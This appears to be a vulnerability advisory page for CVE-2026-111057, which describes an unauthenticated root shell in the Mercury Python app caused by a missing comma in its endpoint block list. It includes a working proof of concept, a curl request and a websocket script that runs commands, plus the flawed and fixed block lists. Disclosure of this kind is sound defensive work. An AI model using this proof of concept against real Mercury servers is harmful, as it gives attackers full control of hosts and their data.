Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
CRITICAL severity

CVE-2026-111057 — mercury

CRITICALFix: mljar/mercury@8c46712

CVE-2026-111057 is a critical-severity (CVSS 10) CWE-185 vulnerability in mercury. A fix is available for mercury — see the affected versions and patch details below.

Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

Also known asGHSA-f8c7-rwf9-fmgm
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs37th percentile — riskier than 37% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-111057 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍mercury

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A missing comma in mercury_app/block_handler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercury_app/block_handler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together) /api/shutdown(?:/.*)? /files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default configuration.

Step 1 - spawn a terminal:

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

python3 -c "
import websocket, json, time

ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())

ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)

ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

Confirms full, interactive root shell access with no authentication or prior access of any kind.

Impact

  • Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
  • Integrity: attacker can modify or delete any file, including notebooks served to other users.
  • Availability: attacker can shut down or crash the server/container.
  • Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImercury≥ 3.0.0&&< 3.2.43.2.4pip install --upgrade 'mercury==3.2.4'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mercury, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mercury to 3.2.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-111057 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A missing comma in `mercury_app/block_handler.py`'s `BLOCKED_PATTERNS` list causes the blocklist to fail to cover the `/api/terminals` endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury. ### Details The blocklist in `mercury_app/block_handler.py` is defined as: ``` BLOCKED_PATTERNS = [ # JupyterLab UI + API r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?" r"/api/terminals(?:/.*)?", r"/api/shutdown(?:/.*)?", r"/files(?:/.*)?", ] ``` The missing comma between
O3 Security · Impact-Aware SCA

Is CVE-2026-111057 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-111057: mercury — Fixed in 3.2.4